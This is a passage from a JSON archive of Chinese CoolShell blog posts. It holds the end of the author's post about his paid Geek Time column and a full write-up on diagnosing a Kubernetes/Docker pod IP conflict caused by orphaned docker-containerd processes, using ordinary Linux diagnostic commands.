“轻模式”，只要你想做好，再“轻”的事都会变“重”</strong>。他们的这些做法，让我有了一种同道中人的感觉，人总是会向比自己强的人或是跟自己比较像的人靠近的。我感觉我在创业路上，就是要和这样的人在一起，面对再难的事，都要想尽一切办法解决之，面对再轻的事，都要花心思用重的模式去做好。</p>\n<p>而其它两个来找我做同样的事的公司，却没有让我看到他们有这样把事做成的不服输的决心和态度，真是形成了强烈的反差和对比。</p>\n<p>于是，我就这样“从”了！这里要点名一下极客邦的两个人——我叫他们作“双蕾”：<strong>司巧蕾</strong> 和 <strong>郭蕾</strong>。（池大大也为极客时间付出了好多，因为大家都认识他了，我就弱化他一下了，嘿嘿）</p>\n<h4>这个专栏主要会写什么样的内容</h4>\n<p>这是一个收费专栏，一旦收费了，我的压力也大了，因为你要写的内容就一定要能达到可以收费的价值了，不以再像个人博客一样，想写什么就什么。好在我从2003年开始我就在给好多企业做一些商业化的讲座和培训，也给一些公司做过一些商业的咨询和技术方案，包括在过去两年内帮助过一些公司打单。另外，在过去的10年内，我也在技术、职业和成长上帮助过很多年轻人。这些内容，我都没有完整或是具体地写在CoolShell中，所以，我觉得这些内容是可以放在这个收费专栏的。</p>\n<p>此外，我在CoolShell上的文章都是不系统的，是碎片式的，还有一些只是知识，还不是认识。而我过去成长的20年，我的经验和知识已经在某些方面形成了比较完整的体系，而且有一些技术也能看到本质上的东西。所以，我觉得这些东西是可以呈现在这个专栏内的，都是非常有商业价值的，一定是可以帮助到大家的。当然，其中的一些东西，不是初级入门的程序员能够看懂的，需要有一定的工作经验和基础知识。</p>\n<p>而在我入行的这20年来，我觉得对于一个企业，一个团队，一个个体的程序员来说，有三件事是密不可分，也是相辅相成的，这三件事就是：技术、发展和管理。每个人，每个团队，每个企业，都需要认真地面对技术，不断地挑战新的技术，并且还要非常认真地发展个人和团队，而这些都需要对自我的管理或是对团队和公司的管理才能更高效的达成。</p>\n<p>所以，我的专栏会由这三部份构成:</p>\n<ul>\n<li><strong>技术</strong>。对于技术方面，我不会写太多关于知识点的东西，因为这些知识点大家可以自行Google可以RTFM。我要写就一定是以体系化的，而且要能直达技术的本质。我入行这20年来，我最擅长的是针对各种大规模的系统，所以，我会有2-3个和分布式系统相关的系列文章，然后，我学过也用过好多编程语言，所以，我也会有一系列的关于编程本质的文章，而我对一些基础知识研究的也比较多，所以，还会有一系列的和基础知识相关的文章。当然，其中还会穿插一些其它的技术文章，比如一些热点事件，还有一些经验之谈，包括，我会把我的《<a href=\"https://coolshell.cn/articles/4990.html\" rel=\"noopener noreferrer\" target=\"_blank\">程序员技术练级攻略</a>》在这个专栏里重新再写一遍。这些东西一定会让大家有醍醐灌顶的感觉。</li>\n</ul>\n<ul>\n<li><strong>成长</strong>。在过去这20年中，我感觉得到，很多人都会非常在意自己的成长。所以，我会分享一堆我亲身经历的，也是我自己实验的一定和个人发展相关的文章。比如，像技术变现啊、如何面试、如何选择新的技术、如何学习、如何管理自己的时间、如何管理自己的老板和工作、如何成为一个Leader……这些东西一定会对大家有用。但是，我这里一定不会有速成的东西。一切都是要花时间和精力的。如果你想要速成，你不应该来订阅我的专栏。</li>\n</ul>\n<ul>\n<li><strong>管理</strong>。这20年，我觉得做好技术工作，得做好技术的管理工作，只有管理好了软件工程和技术团队，技术才能发挥出最大的潜力。大多数的技术都是管理上的问题。所以，我会写上一系列的和管理相关的文章，管理三个要素，团队、项目和管理者自己。所以，我会从这三个方面写一系列包括，人员招聘、绩效考核、提升士气、解决冲突、面对变化、沟通说服、项目管理、任何排期、会议、远程管理……等等一系列的文章。这些东西都是我在外企时，接受到的世界顶级管理培训机构培训内容，我会把我的实践写出来分享给大家。这其中一定少不了亚马逊相关的各种实践。这些东西，我和很多公司和大佬都讲过，到目前为止还没有人不赞的。</li>\n</ul>\n<p>现在，我这个专栏写了快三个月了，第一部分和第二部分已经有一些呈现了。我周末和假期的时间也完全都搭进去了 ;-)。后面的文章还在和我的编辑一起在整理和书写中，我感觉这个专栏只收199一年简直是太便宜了，我有点想涨价的冲动了。哈哈。</p>\n<h4>幕后团队</h4>\n<p>最后说一下我的专栏编辑——她叫杨爽！以前是CSDN的程序员杂志的编辑，后来去了七牛，现在和我一起做我的这个专栏。她对我的这个专栏上的投入非常大，除了帮助我编辑文章，还要帮音频师标注语气，英文发音，以及音频版的文章，还要深度参与写作，<strong>有的文章我只给了一个大纲，甚至只是一个方向，或是一系列的素材，然后都是她来操刀的，比如“推荐阅读”的文章、还有技术领导力的下篇，基本上是由杨爽来出第一版，然后我再上面再做修改和补充</strong>。她说，写技术文章真是太累了，尤其是帮你编辑你的分布式系列的文章，我基本都把这些技术都看了个大概了。我调侃到，如果你完全搞懂了，你就不用做编辑了，你可以做技术去了，嗯，而且，可以变成架构师了。</p>\n<p>另外，她会深度的编辑我的文章，尤其是每篇文章最后的一些总结或是一些问题都是她写的。在我的一篇答疑的文章中，她自己加入了一个观点——“很多事情能做到什么程度，其实在思想的源头就被决定了，因为它会绝大程度地受到思考问题出发点、思维方式、格局观、价值观等因素的影响”，这个观点被读者当成是我的观点，其实，这是杨爽的观点，当然我也很同意。</p>\n<p>所以，我的这个专栏离不开杨爽的付出，我和她一般都是在晚上或是周末沟通，因为平时我的时候都被创业的事给占据了。所以，她也只能适配我的时间，但她真的很努力，我能感觉得到她想把文章的质量不断提高的迫切。</p>\n<p>关于专栏的音频师，他叫柴巍，是天津广播电台的主持人，一个89年的小伙子，网上他的<a href=\"http://www.radiotj.com/zcrdd/system/2014/04/16/000472670.shtml\" rel=\"noopener noreferrer\" target=\"_blank\">个人信息在这里</a>。他跨界来读这些技术文章的确对他来说非常不容易，因为一方面这文章里讲的这些东西他都看不懂，另外，他也不认识我，我脾气和性格他不知道，所以，他读我的文章里，并不能完全准确地把握相关的语气。这就需要杨爽来帮他标注和调整，有些地方，不断地修改，不断地录，大家知道，录音和写文章不一样，文章要修改很简单，语音要修改就非常麻烦，得把上下文全都一并重新再读一篇，这个过程的确难，杨爽在其中也花费了大量的时间和这个小伙子沟通和调整。</p>\n<p>在一开始，有播音腔，也被读者吐槽了，他自己后来一直在调整，目前越来越符合咱们的要求。这个小哥是非常努力和有挑战精神的，他在这个过程中，也是非常信守承诺的。去年12月6日，录分布式系统冰与火那篇文章时，他上午有自己的工作，下午要开会，晚上又有单位活动，他还是活动的主持人，他实在是没有时间了。我也和我的编辑说，算了，先发文章，后面再补音频。但是他还是挤时间把音频录出来了，期间，我还不知情地又修改了一下文章，他又配合修改，直到完全改好。打车去参加活动，还好提前20分钟赶到，没有耽误主持活动。</p>\n<p>唠唠叨叨写这么多，也没什么干货！算是一份记录吧。也希望大家能够从我的专栏中看到这个团队的确是在用心做事的，是的，能认识这些人，还能一起合作，在我的人生经历上是非常有价值的事了。</p>\n<p>希望大家在新的一年里也能遇到这样的人。我们一起加油！</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"304\" src=\"../wp-content/uploads/2017/12/ride_or_die.jpg\" width=\"600\"/></p>\n<p style=\"text-align: center;\">图片来自：电影《速度与激情》——Ride or Die</p>\n<p> </p>\n<p>（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/559.html\"><img alt=\"菜鸟学PHP之Smarty入门\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2589.html\"><img alt=\"十个免费的Web压力测试工具\" height=\"150\" src=\"../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2439.html\"><img alt=\"黑客的价值观\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2439.html\">黑客的价值观</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8031.html\"><img alt=\"InfoQ的ArchSummit大会对我的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18246.html\">关于我”极客时间“的专栏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2018-12-8 记一次Kubernetes_Docker网络排障.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-18662\" height=\"238\" src=\"../wp-content/uploads/2018/12/docker-networking-1.png\" width=\"300\"/>昨天周五晚上，临下班的时候，用户给我们报了一个比较怪异的Kubernetes集群下的网络不能正常访问的问题，让我们帮助查看一下，我们从下午5点半左右一直跟进到晚上十点左右，在远程不能访问用户机器只能远程遥控用户的情况找到了的问题。这个问题比较有意思，我个人觉得其中的调查用到的的命令以及排障的一些方法可以分享一下，所以写下了这篇文章。</p>\n<h4>问题的症状</h4>\n<p>用户直接在微信里说，他们发现在Kuberbnetes下的某个pod被重启了几百次甚至上千次，于是开启调查这个pod，发现上面的服务时而能够访问，时而不能访问，也就是有一定概率不能访问，不知道是什么原因。而且并不是所有的pod出问题，而只是特定的一两个pod出了网络访问的问题。用户说这个pod运行着Java程序，为了排除是Java的问题，用户用 <code>docker exec -it</code> 命令直接到容器内启了一个 Python的 SimpleHttpServer来测试发现也是一样的问题。</p>\n<p>我们大概知道用户的集群是这样的版本，Kuberbnetes 是1.7，网络用的是flannel的gw模式，Docker版本未知，操作系统CentOS 7.4，直接在物理机上跑docker，物理的配置很高，512GB内存，若干CPU核，上面运行着几百个Docker容器。</p>\n<p><span id=\"more-18654\"></span></p>\n<h4>问题的排查</h4>\n<h5>问题初查</h5>\n<p>首先，我们排除了flannel的问题，因为整个集群的网络通信都正常，只有特定的某一两个pod有问题。而用 <code>telnet ip port</code> 的命令手工测试网络连接时有很大的概率出现 <code>connection refused</code> 错误，大约 1/4的概率，而3/4的情况下是可以正常连接的。</p>\n<p>当时，我们让用户抓个包看看，然后，用户抓到了有问题的TCP连接是收到了 <code>SYN</code> 后，立即返回了 <code>RST, ACK</code></p>\n<p><img alt=\"\" class=\"aligncenter wp-image-18655\" height=\"80\" src=\"../wp-content/uploads/2018/12/tcpdump.png\" width=\"700\"/></p>\n<p>我问一下用户这两个IP所在的位置，知道了，<code>10.233.14.129</code> 是 <code>docker0</code>，<code>10.233.14.145</code> 是容器内的IP。所以，这基本上可以排除了所有和kubernets或是flannel的问题，这就是本地的Docker上的网络的问题。</p>\n<p>对于这样被直接 Reset 的情况，在 <code>telnet</code> 上会显示 <code>connection refused</code> 的错误信息，对于我个人的经验，这种 <code>SYN</code>完直接返回 <code>RST, ACK</code>的情况只会有三种情况：</p>\n<ol>\n<li> TCP链接不能建立，不能建立连接的原因基本上是标识一条TCP链接的那五元组不能完成，绝大多数情况都是服务端没有相关的端口号。</li>\n<li>TCP链接建错误，有可能是因为修改了一些TCP参数，尤其是那些默认是关闭的参数，因为这些参数会导致TCP协议不完整。</li>\n<li>有防火墙iptables的设置，其中有 <code>REJECT</code> 规则。</li>\n</ol>\n<p>因为当时还在开车，在等红灯的时候，我感觉到有点像 NAT 的网络中服务端开启了 <code>tcp_tw_recycle</code> 和 <code>tcp_tw_reuse</code> 的症况（详细参看《<a href=\"https://coolshell.cn/articles/11564.html\" rel=\"noopener noreferrer\" target=\"_blank\">TCP的那些事（上）</a>》），所以，让用户查看了一上TCP参数，发现用户一个TCP的参数都没有改，全是默认的，于是我们排除了TCP参数的问题。</p>\n<p>然后，我也不觉得容器内还会设置上iptables，而且如果有那就是100%的问题，不会时好时坏。所以，我怀疑容器内的端口号没有侦听上，但是马上又好了，这可能会是应用的问题。于是我让用户那边看一下，应用的日志，并用 <code>kublet describe</code>看一下运行的情况，并把宿主机的 iptables 看一下。</p>\n<p>然而，我们发现并没有任何的问题。这时，<strong>我们失去了所有的调查线索，感觉不能继续下去了……</strong></p>\n<h5>重新梳理</h5>\n<p>这个时候，回到家，大家吃完饭，和用户通了一个电话，把所有的细节再重新梳理了一遍，这个时候，用户提供了一个比较关键的信息—— “<strong>抓包这个事，在 <code>docker0</code> 上可以抓到，然而到了容器内抓不到容器返回 <code>RST, ACK</code> </strong>” ！然而，根据我的知识，我知道在 <code>docker0</code> 和容器内的 <code>veth</code> 网卡上，中间再也没有什么网络设备了（参看《<a href=\"https://coolshell.cn/articles/17029.html\" rel=\"noopener noreferrer\" target=\"_blank\">Docker基础技术：LINUX NAMESPACE（下）</a>》）!</p>\n<p>于是这个事把我们逼到了最后一种情况 —— IP地址冲突了！</p>\n<p>Linux下看IP地址冲突还不是一件比较简单事的，而在用户的生产环境下没有办法安装一些其它的命令，所以只能用已有的命令，这个时候，我们发现用户的机器上有 <code>arping</code> 于是我们用这个命令来检测有没有冲突的IP地址。使用了下面的命令：</p>\n<pre class=\"EnlighterJSRAW\">\n$ arping -D -I docker0 -c 2 10.233.14.145\n$ echo $?\n</pre>\n<p>根据文档，<code>-D</code> 参数是检测IP地址冲突模式，如果这个命令的退状态是 <code>0</code> 那么就有冲突。结果返回了 <code>1</code> 。而且，我们用 <code>arping</code> IP的时候，没有发现不同的mac地址。 <strong>这个时候，似乎问题的线索又断了</strong>。</p>\n<p>因为客户那边还在处理一些别的事情，所以，我们在时断时续的情况下工作，而还一些工作都需要用户完成，所以，进展有点缓慢，但是也给我们一些时间思考问题。</p>\n<h5>柳暗花明</h5>\n<p>现在我们知道，IP冲突的可能性是非常大的，但是我们找不出来是和谁的IP冲突了。而且，我们知道只要把这台机器重启一下，问题一定就解决掉了，但是我们觉得这并不是解决问题的方式，因为重启机器可以暂时的解决掉到这个问题，而如果我们不知道这个问题怎么发生的，那么未来这个问题还会再来。而重启线上机器这个成本太高了。</p>\n<p>于是，我们的好奇心驱使我们继续调查。我让用户 <code>kubectl delete</code> 其中两个有问题的pod，因为本来就服务不断重启，所以，删掉也没有什么问题。删掉这两个pod后（一个是IP为 <code>10.233.14.145</code> 另一个是 <code>10.233.14.137</code>），我们发现，kubernetes在其它机器上重新启动了这两个服务的新的实例。然而，<strong>在问题机器上，这两个IP地址居然还可以ping得通</strong>。</p>\n<p>好了，IP地址冲突的问题可以确认了。因为<code>10.233.14.xxx</code> 这个网段是 docker 的，所以，这个IP地址一定是在这台机器上。所以，我们想看看所有的 network namespace 下的 veth 网卡上的IP。</p>\n<p>在这个事上，我们费了点时间，因为对相关的命令也 很熟悉，所以花了点时间Google，以及看相关的man。</p>\n<ul>\n<li>首先，我们到 <code>/var/run/netns</code>目录下查看系统的network namespace，发现什么也没有。</li>\n<li>然后，我们到 <code>/var/run/docker/netns</code> 目录下查看Docker的namespace，发现有好些。</li>\n<li>于是，我们用指定位置的方式查看Docker的network namespace里的IP地址</li>\n</ul>\n<p>这里要动用 <code>nsenter</code> 命令，这个命令可以进入到namespace里执行一些命令。比如</p>\n<pre class=\"EnlighterJSRAW\">\n$ nsenter --net=/var/run/docker/netns/421bdb2accf1 ifconfig -a\n</pre>\n<p>上述的命令，到 <code>var/run/docker/netns/421bdb2accf1</code> 这个network namespace里执行了 <code>ifconfig -a</code> 命令。于是我们可以用下面 命令来遍历所有的network namespace。</p>\n<pre class=\"EnlighterJSRAW\">\n$ ls /var/run/docker/netns | xargs -I {} nsenter --net=/var/run/docker/netns/{} ip addr \n</pre>\n<p>然后，我们发现了比较诡异的事情。</p>\n<ul>\n<li><code>10.233.14.145</code> 我们查到了这个IP，说明，docker的namespace下还有这个IP。</li>\n<li><code>10.233.14.137</code>，这个IP没有在docker的network namespace下查到。</li>\n</ul>\n<p>有namespace leaking？于是我上网查了一下，发现了一个docker的bug – 在docker remove/stop 一个容器的时候，没有清除相应的network namespace，这个问题被报告到了 <a href=\"https://github.com/moby/moby/issues/31597\">Issue#31597</a> 然后被fix在了 <a href=\"https://github.com/moby/moby/pull/31996\">PR#31996</a>，并Merge到了 Docker的 17.05版中。而用户的版本是 17.09，应该包含了这个fix。不应该是这个问题，感觉又走不下去了。</p>\n<p>不过， <code>10.233.14.137</code> 这个IP可以ping得通，说明这个IP一定被绑在某个网卡，而且被隐藏到了某个network namespace下。</p>\n<p>到这里，要查看所有network namespace，只有最后一条路了，那就是到 <code>/proc/</code> 目录下，把所有的pid下的 <code>/proc/&lt;pid&gt;/ns</code> 目录给穷举出来。好在这里有一个比较方便的命令可以干这个事 ： <code>lsns</code></p>\n<p>于是我写下了如下的命令：</p>\n<pre class=\"EnlighterJSRAW\">\n$ lsns -t net | awk ‘{print $4}' | xargs -t -I {} nsenter -t {}&amp;nbsp;-n ip addr | grep -C 4 \"10.233.14.137\"\n</pre>\n<p>解释一下。</p>\n<ul>\n<li><code>lsns -t net</code> 列出所有开了network namespace的进程，其第4列是进程PID</li>\n<li>把所有开过network namespace的进程PID拿出来，转给 <code>xargs</code> 命令</li>\n<li>由 <code>xargs</code> 命令把这些PID 依次传给 <code>nsenter</code> 命令，\n<ul>\n<li><code>xargs -t</code> 的意思是会把相关的执行命令打出来，这样我知道是那个PID。</li>\n<li><code>xargs -I {}</code>  是声明一个占位符来替换相关的PID</li>\n</ul>\n</li>\n</ul>\n<p>最后，我们发现，虽然在 <code>/var/run/docker/netns</code> 下没有找到 <code>10.233.14.137</code> ，但是在 <code>lsns</code> 中找到了三个进程，他们都用了<code>10.233.14.137</code> 这个IP（冲突了这么多），<strong>而且他们的MAC地址全是一样的！</strong>（怪不得arping找不到）。通过<code>ps</code> 命令，可以查到这三个进程，有两个是java的，还有一个是<code>/pause</code> （这个应该是kubernetes的沙盒）。</p>\n<p>我们继续乘胜追击，穷追猛打，用<code>pstree</code>命令把整个进程树打出来。发现上述的三个进程的父进程都在多个同样叫 <code>docker-contiane</code> 的进程下！</p>\n<p><strong>这明显还是docker的，但是在<code>docker ps</code> 中却找不道相应的容器，什么鬼！快崩溃了……</strong></p>\n<p>继续看进程树，发现，这些 <code>docker-contiane</code> 的进程的父进程不在 <code>dockerd</code> 下面，而是在 <code>systemd</code> 这个超级父进程PID 1下，我靠！进而发现了一堆这样的野进程（这种野进程或是僵尸进程对系统是有害的，至少也是会让系统进入亚健康的状态，因为他们还在占着资源）。</p>\n<p><code>docker-contiane</code> 应该是 <code>dockerd</code> 的子进程，被挂到了 <code>pid 1</code> 只有一个原因，那就是父进程“飞”掉了，只能找 pid 1 当养父。这说明，这台机器上出现了比较严重的 <code>dockerd</code> 进程退出的问题，而且是非常规的，因为 <code>systemd</code> 之所以要成为 pid 1，其就是要监管所有进程的子子孙孙，居然也没有管理好，说明是个非常规的问题。（注，关于 systemd，请参看《<a href=\"https://coolshell.cn/articles/17998.html\" rel=\"noopener noreferrer\" target=\"_blank\">Linux PID 1 和 Systemd </a>》，关于父子进程的事，请参看《Unix高级环境编程》一书）</p>\n<p>接下来就要看看 <code>systemd</code> 为 <code>dockerd</code> 记录的日志了…… （然而日志只有3天的了，这3天<code>dockerd</code>没有任何异常）</p>\n<h4>总结</h4>\n<p>通过这个调查，可以总结一下，</p>\n<p>1） 对于问题调查，需要比较扎实的基础知识，知道问题的成因和范围。</p>\n<p>2）如果走不下去了，要重新梳理一下，回头仔细看一下一些蛛丝马迹，认真推敲每一个细节。</p>\n<p>3） 各种诊断工具要比较熟悉，这会让你事半功倍。</p>\n<p>4）系统维护和做清洁比较类似，需要经常看看系统中是否有一些僵尸进程或是一些垃圾东西，这些东西要及时清理掉。</p>\n<p>最后，多说一下，很多人都说，<strong>Docker适合放在物理机内运行，这并不完全对，因为他们只考虑到了性能成本，没有考虑到运维成本，在这样512GB中启动几百个容器的玩法，其实并不好，因为这本质上是个大单体，因为你一理要重启某些关键进程或是机器，你的影响面是巨大的</strong>。</p>\n<p> </p>\n<p>———————— 更新 2018/12/10 —————————</p>\n<h4>问题原因</h4>\n<p>这两天在自己的环境下测试了一下，发现，只要是通过 <code>systemctl start/stop docker</code> 这样的命令来启停 Docker， 是可以把所有的进程和资源全部干掉的。这个是没有什么问题的。我唯一能重现用户问题的的操作就是直接 <code>kill -9 &lt;dockerd pid&gt;</code> 但是这个事用户应该不会干。而 Docker 如果有 crash 事件时，Systemd 是可以通过 <code>journalctl -u docker</code> 这样的命令查看相关的系统日志的。</p>\n<p>于是，我找用户了解一下他们在Docker在启停时的问题，用户说，<strong>他们的执行 <code>systemctl stop docker</code> 这个命令的时候，发现这个命令不响应了，有可能就直接按了 <code>Ctrl +C</code> 了</strong>！</p>\n<p>这个应该就是导致大量的 <code>docker-containe</code> 进程挂到 <code>PID 1</code> 下的原因了。前面说过，用户的一台物理机上运行着上百个容器，所以，那个进程树也是非常庞大的，我想，停服的时候，系统一定是要遍历所有的docker子进程来一个一个发退出信号的，这个过程可能会非常的长。导致操作员以为命令假死，而直接按了 <code>Ctrl + C</code> ，最后导致很多容器进程并没有终止……</p>\n<p> </p>\n<h4>其它事宜</h4>\n<p>有同学问，为什么我在这个文章里写的是 <code>docker-containe</code> 而不是 <code>containd</code> 进程？这是因为被 <code>pstree</code> 给截断了，用 <code>ps</code> 命令可以看全，只是进程名的名字有一个 <code>docker-</code>的前缀。</p>\n<p>下面是这两种不同安装包的进程树的差别（其中 <code>sleep</code> 是我用 <code>buybox</code> 镜像启动的）</p>\n<pre class=\"EnlighterJSRAW\">\nsystemd───dockerd─┬─docker-contained─┬─3*[docker-contained-shim─┬─sleep]\n                  │                 │                    └─9*[{docker-containe}]]\n                  │                 ├─docker-contained-shim─┬─sleep\n                  │                 │                 └─10*[{docker-containe}]\n                  │                 └─14*[{docker-contained-shim}]\n                  └─17*[{dockerd}]\n</pre>\n<pre class=\"EnlighterJSRAW\">\nsystemd───dockerd─┬─containerd─┬─3*[containerd-shim─┬─sleep]\n                  │            │                 └─9*[{containerd-shim}]\n                  │            ├─2*[containerd-shim─┬─sleep]\n                  │            │                    └─9*[{containerd-shim}]]\n                  │            └─11*[{containerd}]\n                  └─10*[{dockerd}]\n\n</pre>\n<p>顺便说一下，自从 Docker 1.11版以后，Docker进程组模型就改成上面这个样子了.</p>\n<ul>\n<li><code>dockerd</code> 是 Docker Engine守护进程，直接面向操作用户。<code>dockerd</code> 启动时会启动 <code>containerd</code> 子进程，他们之前通过RPC进行通信。</li>\n<li><code>containerd</code> 是<code>dockerd</code>和<code>runc</code>之间的一个中间交流组件。他与 <code>dockerd</code> 的解耦是为了让Docker变得更为的中立，而支持OCI 的标准 。</li>\n<li><code>containerd-shim</code>  是用来真正运行的容器的，每启动一个容器都会起一个新的shim进程， 它主要通过指定的三个参数：容器id，boundle目录（containerd的对应某个容器生成的目录，一般位于：<code>/var/run/docker/libcontainerd/containerID</code>）， 和运行命令（默认为 <code>runc</code>）来创建一个容器。</li>\n<li><code>docker-proxy</code> 你有可能还会在新版本的Docker中见到这个进程，这个进程是用户级的代理路由。只要你用 <code>ps -elf</code> 这样的命令把其命令行打出来，你就可以看到其就是做端口映射的。如果你不想要这个代理的话，你可以在 <code>dockerd</code> 启动命令行参数上加上：  <code>--userland-proxy=false</code> 这个参数。</li>\n</ul>\n<p>更多的细节，大家可以自行Google。这里推荐两篇文章：</p>\n<ul>\n<li><a href=\"https://hackernoon.com/docker-containerd-standalone-runtimes-heres-what-you-should-know-b834ef155426\" rel=\"noopener noreferrer\" target=\"_blank\">Docker, Containerd &amp; Standalone Runtimes — Here’s What You Should Know</a></li>\n<li><a href=\"http://alexander.holbreich.org/docker-components-explained/\" rel=\"noopener noreferrer\" target=\"_blank\">Docker components explained</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17200.html\"><img alt=\"Docker基础技术：DeviceMapper\" height=\"150\" src=\"../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17049.html\"><img alt=\"Docker基础技术：Linux CGroup\" height=\"150\" src=\"../wp-content/uploads/2015/04/filter-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17010.html\"><img alt=\"Docker基础技术：Linux Namespace（上）\" height=\"150\" src=\"../wp-content/uploads/2015/04/isolation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2018-5-29 程序员练级攻略（2018)  与我的专栏.html",
